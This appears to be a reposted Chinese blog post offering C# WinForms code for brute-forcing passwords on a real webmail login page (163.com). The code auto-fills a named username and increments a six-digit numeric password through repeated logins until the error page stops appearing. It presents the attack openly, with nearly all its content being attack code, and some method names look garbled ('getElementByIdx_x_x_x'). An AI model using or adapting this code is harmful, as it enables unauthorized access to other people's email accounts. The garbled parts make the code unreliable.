您的位置:首页 > 运维架构 > 网站架构

c#暴力破解网站密码简单实现

2014-03-10 09:47 134 查看
暴力破解网站密码

using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Text;

using System.Windows.Forms;

using System.Net;

using System.IO;

namespace ReadNetPage

{

public partial class Form1 : Form

{

public int password1 = 000000;

public Form1()

{

InitializeComponent();

}

WebBrowser webBrowser1 = new WebBrowser();

private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)

{

#region 参数设置

HtmlElement btnSubmit = webBrowser1.Document.All["login"]; //获取登录对应元素

HtmlElement tbUserid = webBrowser1.Document.All["login_name"]; //获取用户名对应元素

HtmlElement tbStyle = webBrowser1.Document.All["style"]; //获取版本对应元素

HtmlElement tbPasswd = webBrowser1.Document.All["login_password"]; //获取密码对应元素

if (tbUserid == null || tbPasswd == null )

return;

tbUserid.SetAttribute("value", username.Text); //给用户名赋值

tbPasswd.SetAttribute("value", password1.ToString()); //给密码赋值

tbStyle.Children[Convert.ToInt32(txtstyle.Text)].SetAttribute("selected", "selected");//设置版本

btnSubmit.InvokeMember("click"); //模拟点击登录按钮

#endregion

}

//在确定按钮的响应函数btnOK_Click中添加如下代码:

private void btnOK_Click_1(object sender, EventArgs e)

{

bool check =true;

int kcount = 0;

string uuu = "http://email.163.com/";

while ( check==true)

{

webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(webBrowser1_DocumentCompleted);

webBrowser1.Navigate(uuu);

while ( webBrowser1.ReadyState != WebBrowserReadyState.Complete)

{

Application.DoEvents();

}

while (webBrowser1.Document.Url.ToString() ==
uuu)

{

Application.DoEvents();

kcount++;

}

if (webBrowser1.Document.Url.ToString().indexOf("http://email.163.com/errorpage/err_163.htm?errorType")>=0)

{

password1++;

userpassword.Text = password1.ToString();

}

else

{

check = false;

}

}//while

webBrowser2.Url = webBrowser1.Url;

MessageBox.Show(webBrowser1.Document.Url.ToString()+" "+kcount.ToString());

}

private void button2_Click(object sender, EventArgs e)

{

string url = "http://email.163.com/";

WebBrowser ber = new WebBrowser();

ber.Navigate(new Uri(url));

while (ber.ReadyState != WebBrowserReadyState.Complete)

{

Application.DoEvents();

}

ber.document.getElementByIdx_x_x_x("login_name").InnerText = "lj669888";//fill name

ber.document.getElementByIdx_x_x_x("login_password").InnerText = "000000";//fill pwd

HtmlElement formLogin = ber.Document.Forms["FrontPage_Form1"];

formLogin.InvokeMember("submit");

HttpWebRequest request = WebRequest.Create(url) as HttpWebRequest;

request.Method = "GET";

request.KeepAlive = false;

// 接收返回的页面

HttpWebResponse response = request.GetResponse() as HttpWebResponse;

System.IO.Stream responseStream = response.GetResponseStream();

System.IO.StreamReader reader = new System.IO.StreamReader(responseStream, Encoding.Default);

string srcString = reader.ReadToEnd();

MessageBox.Show(srcString);

}

}

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: